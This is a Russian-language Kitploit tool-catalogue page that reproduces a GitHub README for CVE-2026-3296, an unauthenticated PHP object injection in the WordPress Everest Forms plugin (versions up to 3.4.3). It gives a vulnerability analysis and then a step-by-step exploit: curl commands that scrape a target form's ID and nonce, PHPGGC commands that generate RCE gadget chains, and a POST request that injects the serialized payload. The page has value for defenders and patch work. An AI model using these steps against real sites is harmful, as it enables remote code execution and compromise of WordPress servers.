Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-3296 — CVE-2026-3296 - критическая уязвимость неаутентифицированной PHP-инъекции объектов (CVSS 9.8) в плагине Everest Forms для WordPress | Kitploit
Инструменты/GitHubGitHub/xxconi/cve-2026-3296
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubxxconi/cve-2026-3296

CVE-2026-3296

CVE-2026-3296 - критическая уязвимость неаутентифицированной PHP-инъекции объектов (CVSS 9.8) в плагине Everest Forms для WordPress

Репозиторий
164 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-3296

CVE-2026-3296 — это критическая уязвимость PHP Object Injection с рейтингом CVSS 9.8 без аутентификации в плагине WordPress Everest Forms

CVE-2026-3296 — Everest Forms PHP Object Injection Scanner

Плагин: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder Идентификатор плагина: everest-forms Идентификатор CVE: CVE-2026-3296 Оценка CVSS: 9.8 (Critical) Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Тип уязвимости: Unauthenticated PHP Object Injection → RCE Затронутые версии: <= 3.4.3 Исправленная версия: 3.4.4 Дата публикации: 7 апреля 2026 Исследователь: 0xsabre — Mobikwik / Wordfence


📌 Об уязвимости

Плагин Everest Forms при отображении метаданных формы в панели администратора вызывает нативную PHP-функцию unserialize() без параметра allowed_classes.

Неаутентифицированный злоумышленник может внедрить сериализованный PHP-объект в любое публичное поле формы и сохранить его в базе данных. Когда запись просматривается в панели администратора, срабатывает unserialize(), и выполняется любая POP-цепочка (gadget chain), доступная в среде.


🔍 Сводка уязвимости

ПолеЗначение
CVE IDCVE-2026-3296
CVSS9.8 Critical
ТипPHP Object Injection (Deserialization of Untrusted Data)
Затронутая версия<= 3.4.3
Исправленная версия3.4.4
АутентификацияНе требуется (инъекция), Admin (триггер)
CWECWE-502: Deserialization of Untrusted Data

⚙️ Технический анализ

Двухфазная модель атаки

ФАЗА 1 — ИНЪЕКЦИЯ (Аутентификация не требуется)
ФАЗА 2 — ТРИГГЕР (Просмотр в панели администратора)

Фаза 1 — Инъекция: Сохранение полезной нагрузки

Хук отправки формы (class-evf-form-task.php, строка 75)

// Срабатывает при каждой загрузке страницы на фронтенде
add_action( 'wp', array( $this, 'listen_task' ) );
// строка 109 — пользовательские данные обрабатываются после санитизации
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

Почему санитизация недостаточна (evf-core-functions.php, строка 4754)

// sanitize_text_field() удаляет HTML-теги, нулевые байты
// НО НЕ удаляет символы PHP-сериализации (O:, s:, {, }, ;)
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );

Эта полезная нагрузка полностью сохраняется после sanitize_text_field():

O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}

Дополнительная ошибка — ранний return (строка 4764)

// return $entry; находится ВНУТРИ цикла foreach
// → Санитизируется только первое поле, остальные поля остаются необработанными
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← ОШИБКА: цикл завершается на первой итерации
}

Запись в базу данных (class-evf-form-task.php, строка 1326)

$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() не изменяет обычные строки
    // → Строка сериализованного объекта записывается дословно
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

Фаза 2 — Триггер: Небезопасная десериализация

Уязвимый код (html-admin-page-entries-view.php, строки 130–133)

$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ Параметр allowed_classes ОТСУТСТВУЕТ
    // По умолчанию PHP: любые классы могут быть инстанциированы
    // → POP-цепочка срабатывает
}

Безопасная обертка существует, но не используется (evf-core-functions.php, строка 5594)

// Эта функция уже существовала — её просто не вызывали
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // Безопасно
        }
        return null;
    }
    return $data;
}

Почему nonce не обеспечивает защиту?

<!-- Встроен в HTML публичной формы — доступен всем -->
<input type="hidden" name="_wpnonce123" value="abc123def456">

Nonce обеспечивает защиту CSRF, а не аутентификацию. Злоумышленник может открыть страницу формы через GET, прочитать nonce, а затем отправить POST-запрос с полезной нагрузкой.


🔴 Полная цепочка атаки

┌──────────────────────────────────────────────────────────────┐
│  ФАЗА 1 — ИНЪЕКЦИЯ (Unauthenticated)                        │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → сериализация сохранена     │
│       ├── maybe_serialize() → строка не изменена             │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (Администратор выполняет рутинную проверку)
┌──────────────────────────▼───────────────────────────────────┐
│  ФАЗА 2 — ТРИГГЕР (Панель администратора)                   │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← УЯЗВИМОСТЬ           │
│       │   allowed_classes = (отсутствует) → все классы       │
│       └── POP gadget chain → __wakeup() / __destruct()      │
│           → RCE / File Write / Data Exfil                    │
└──────────────────────────────────────────────────────────────┘

🧪 Доказательство концепции (Вручную)

⚠️ Отказ от ответственности: Данный PoC предоставлен исключительно в образовательных и защитных исследовательских целях.

Предварительные условия:

  • Установлен и активен Everest Forms <= 3.4.3
  • Публичная страница формы
  • Доступ к панели администратора (для триггера)

Шаг 1 — Получение ID формы и Nonce

TARGET="https://target-site.example.com/contact/"

# Извлечение ID формы
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

# Извлечение nonce
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'

Шаг 2 — Создание безвредной тестовой полезной нагрузки

# Безопасный тест — stdClass, магические методы отсутствуют
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'

Для реальной среды создайте POP-цепочку с помощью PHPGGC:

# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s

# Monolog chain
phpggc Monolog/RCE1 system "id" -s

Шаг 3 — Инъекция полезной нагрузки

FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"

curl -s -X POST "$TARGET" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

Ожидаемый результат: сообщение об успешной отправке формы или перенаправление.

Скачать инструмент